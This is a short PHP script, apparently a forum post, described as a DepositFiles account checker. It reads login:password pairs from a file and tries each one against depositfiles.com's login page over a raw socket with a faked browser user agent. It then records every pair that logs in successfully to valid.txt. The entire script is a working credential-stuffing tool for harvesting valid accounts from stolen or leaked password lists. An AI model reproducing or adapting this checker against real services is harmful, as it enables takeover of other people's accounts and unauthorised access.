Код:
<?php 
#################################
# DepositFiles Accounts Checker       
# by #Wolf# & thanks2-=lebed=-
# http://wolf-et.ru/
# License: gnu gpl v3  
#################################
set_time_limit(0); 
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent  
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив 
$valid=$invalid=0; 
function Check($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки  
$out .= "Host: depositfiles.com\r\n"; 
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n"; 
$out .= "Cookie: income=1\r\n"; 
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; 
fwrite($fp,$out);
$ans = '';     
while (!feof($fp)) { 
       $ans .= fgets($fp, 128);  # ответ сервера  
   }
fclose($fp);  # Закрываем сокеты  
return strpos($ans,"autologin=") ? true : false; # Проверяем 
} 
echo '<h3>Валидные логины:пароли</h3>'; 
for($i=0;$i<count($account);$i++) {  #цикл
list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
   if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта 
   echo $login.':'.$pass.'<br />';
   flush();
   ob_flush();
   $fd = fopen($vallist,'a+'); # открываем файл
   fputs($fd,$account[$i]); # записываем  в файл  рабочий акк 
   fclose($fd);  # закрываем файл
   ++$valid; 
   }else {++$invalid;} 
} 
echo "<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""; 
?>